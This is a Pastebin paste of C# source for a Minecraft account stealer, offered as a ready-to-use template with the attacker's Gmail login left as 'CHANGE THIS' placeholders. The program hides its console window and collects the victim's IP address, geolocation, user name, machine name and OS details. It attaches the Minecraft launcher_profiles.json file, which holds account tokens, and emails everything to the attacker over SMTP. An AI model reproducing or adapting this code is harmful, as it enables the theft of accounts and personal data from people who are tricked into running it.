Guest User

Untitled

a guest
Apr 13th, 2017
42
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.04 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.IO;
  4. using System.Linq;
  5. using System.Net;
  6. using System.Net.Mail;
  7. using System.Runtime.InteropServices;
  8. using System.Text;
  9. using System.Threading.Tasks;
  10. using System.Management;
  11.  
  12. namespace CopiedCode123
  13. {
  14. class Program
  15. {
  16. [DllImport("user32.dll")]
  17. static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  18.  
  19. [DllImport("Kernel32")]
  20. private static extern IntPtr GetConsoleWindow();
  21.  
  22. const int SW_HIDE = 0;
  23. const int SW_SHOW = 5;
  24.  
  25. static void Main(string[] args)
  26. {
  27. IntPtr hwnd;
  28. hwnd = GetConsoleWindow();
  29. ShowWindow(hwnd, SW_HIDE);
  30. string externalip = new WebClient().DownloadString("http://icanhazip.com");
  31. externalip = new System.Net.WebClient().DownloadString("http://bot.whatismyipaddress.com");
  32. externalip = new System.Net.WebClient().DownloadString("http://ipinfo.io/ip");
  33. string minecraft = "\\.minecraft\\launcher_profiles.json";
  34. string appdata = Environment.GetFolderPath(System.Environment.SpecialFolder.ApplicationData);
  35. string lol = externalip.ToUpper();
  36. string geoip = new WebClient().DownloadString("http://api.predator.wtf/geoip/?arguments=" + externalip);
  37. string betterip = "http://api.predator.wtf/geoip/?arguments=" + externalip;
  38. string fromEmail; string toEmail; string subject; string body; string gmailUser; string gmailPass; string mcprofile;
  39.  
  40. gmailUser = "Yourgmail@email.com"; // CHANGE THIS CHANGE THIS CHANGE THIS
  41. gmailPass = "Yourpwasssword"; // CHANGE THIS CHANGE THIS CHANGE THIS
  42. toEmail = gmailUser;
  43. fromEmail = gmailUser;
  44. string userName = Environment.UserName;
  45. string computerName = System.Environment.MachineName.ToString();
  46. subject = Environment.UserName + " / " + computerName + "s Minecraft Account - " + Environment.UserName;
  47.  
  48. body = Environment.UserName + " Opened it.\n" + "Some info:\n" + geoip + "\n" + "\n" + "Or check his Info in better format here: " + betterip + "\n" + "Username: " + Environment.MachineName + "\n" + "Windows Build: " + Environment.OSVersion + "\n" + "Location Opened in: " + Environment.CurrentDirectory + "\n" + "Is 64Bit: " + Environment.Is64BitOperatingSystem + "\n" + "\n" + "He gives you this!";
  49.  
  50. mcprofile = appdata + minecraft;
  51.  
  52.  
  53. MailMessage message = new MailMessage(fromEmail, toEmail, subject, body);
  54. SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
  55.  
  56. smtp.EnableSsl = true;
  57. smtp.Credentials = new NetworkCredential(gmailUser, gmailPass);
  58.  
  59. if (mcprofile != string.Empty || mcprofile != null)
  60. {
  61. Attachment attach = new Attachment(mcprofile);
  62. message.Attachments.Add(attach);
  63. }
  64.  
  65. smtp.Send(message);
  66. return;
  67. }
  68.  
  69.  
  70. }
  71. }
Add Comment
Please, Sign In to add comment